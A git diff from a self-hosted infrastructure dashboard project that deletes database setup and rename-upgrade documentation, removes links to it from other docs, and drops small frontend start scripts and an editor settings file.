-For a simple starter, Redis can handle:
-
-- temporary session storage
-- request rate limiting
-- simple caching of dashboard data
-- short-lived job/task status
-- in-memory flags or locks
-
-It is not the place for your main relational data model.
-For users, roles, permissions, and long-term analytics, PostgreSQL should still be the source of truth.
-
-
-## Upgrading an install from before the rename to Infradeck
-
-Older installs created the database and its user as `homelab`. The compose files now default to `infradeck`,
-so after `git pull` either keep the old names by adding these two lines to `.env`:
-
-```
-POSTGRES_DB=homelab
-POSTGRES_USER=homelab
-```
-
-or rename them once (back up first; the backend and collector must be stopped so nothing is connected):
-
-```bash
-docker compose exec -T postgres pg_dump -U homelab -d homelab -Fc > before-rename.dump
-docker compose stop backend collector
-docker compose exec -T postgres psql -U homelab -d postgres -c "CREATE ROLE infradeck_rename SUPERUSER LOGIN;" -c "ALTER DATABASE homelab RENAME TO infradeck;"
-docker compose exec -T postgres psql -U infradeck_rename -d postgres -c "ALTER ROLE homelab RENAME TO infradeck;"
-docker compose exec -T postgres psql -U infradeck -d postgres -c "DROP ROLE infradeck_rename;"
-docker compose up -d --build
-```
-
-The password stays the same (it is stored as SCRAM, which a rename keeps). Redis keys under the old `homelab:` prefix
-move to `infradeck:` on the backend's next start, so nobody is signed out. Collectors already installed on other
-machines keep working: their `HOMELAB_*` variables and their old state folder are still read.
diff --git a/docs/configuration.md b/docs/configuration.md
index 45264c1..85f11b2 100644
--- a/docs/configuration.md
+++ b/docs/configuration.md
@@ -9,7 +9,7 @@ Every setting below is listed, with no values, in [`example.env`](../example.env
| Variable | Default | Description |
|---|---|---|
| `POSTGRES_PASSWORD` | *(required)* | PostgreSQL password. |
-| `POSTGRES_DB` / `POSTGRES_USER` | `infradeck` / `infradeck` | Name of the database and its user. Installs from before the rename can keep `homelab` (see [SETUP_DATABASES.md](../SETUP_DATABASES.md)). |
+| `POSTGRES_DB` / `POSTGRES_USER` | `infradeck` / `infradeck` | Name of the database and its user. |
| `REDIS_PASSWORD` | *(required)* | Redis password. Redis holds the login sessions, so nothing that can merely reach it may use it. Use letters and digits only (`openssl rand -hex 24`) because it is put into a URL. |
| `SESSION_COOKIE_SECURE` | `true`; the dev compose file sets `false` | Send the login cookie over HTTPS only. Empty counts as `true`. Set `false` only when you open the dashboard over plain HTTP. |
| `SESSION_TTL_SECONDS` | `86400` | Session lifetime without *Remember me*. |
diff --git a/docs/containers.md b/docs/containers.md
index f1d3566..d0fde04 100644
--- a/docs/containers.md
+++ b/docs/containers.md
@@ -154,8 +154,7 @@ image's start script gets a few as root to prepare the data folder (see [SECURIT
whole file for each write. (The tests do use SQLite, because they run in one process.)
- *Time-series queries.* Statistics group, average and take maximums over millions of samples;
PostgreSQL's indexes and planner do that well.
-- *Reliability.* Transactions, crash recovery and standard backup tools (`pg_dump`, see
- [SETUP_DATABASES.md](../SETUP_DATABASES.md)).
+- *Reliability.* Transactions, crash recovery and standard backup tools (`pg_dump`).
- *Why not a dedicated time-series database (InfluxDB, Prometheus).* Accounts, incidents and metrics would
then live in two databases with two backup routines. With rollups and retention, PostgreSQL is fast
enough for the scale this project is built for.
diff --git a/docs/development.md b/docs/development.md
index 56b3995..562ff55 100644
--- a/docs/development.md
+++ b/docs/development.md
@@ -30,7 +30,7 @@ npm run dev -- --host 0.0.0.0
```
Vite prints the URL (5173, or the next free port if the Compose stack already
-uses it). `./start_frontend.sh` does the same in one step.
+uses it).
After changing frontend or collector code, rebuild the containers:
diff --git a/src/.claude/settings.json b/src/.claude/settings.json
deleted file mode 100644
index 48983f6..0000000
--- a/src/.claude/settings.json
+++ /dev/null
@@ -1 +0,0 @@
-{ "includeCoAuthoredBy": false }
\ No newline at end of file
diff --git a/start_frontend.fish b/start_frontend.fish
deleted file mode 100755
index 76a76cf..0000000
--- a/start_frontend.fish
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/usr/bin/env fish
-set ROOT_DIR (cd (dirname (status --current-filename)) && pwd)
-
-bash -lc "export NVM_DIR=\"$HOME/.nvm\"; . \"\$NVM_DIR/nvm.sh\"; nvm install 20 >/dev/null; nvm use 20 >/dev/null; cd \"$ROOT_DIR/src/frontend\"; npm install; exec npm run dev -- --host 0.0.0.0"
diff --git a/start_frontend.sh b/start_frontend.sh
deleted file mode 100755
index 45aabaa..0000000
--- a/start_frontend.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/usr/bin/env bash
-set -e
-
-ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
-cd "$ROOT_DIR"
-
-export NVM_DIR="$HOME/.nvm"
-if [ -s "$NVM_DIR/nvm.sh" ]; then
- . "$NVM_DIR/nvm.sh"
-fi
-
-nvm install 20 >/dev/null
-nvm use 20 >/dev/null
-
-cd "$ROOT_DIR/src/frontend"
-npm install
-npm run dev -- --host 0.0.0.0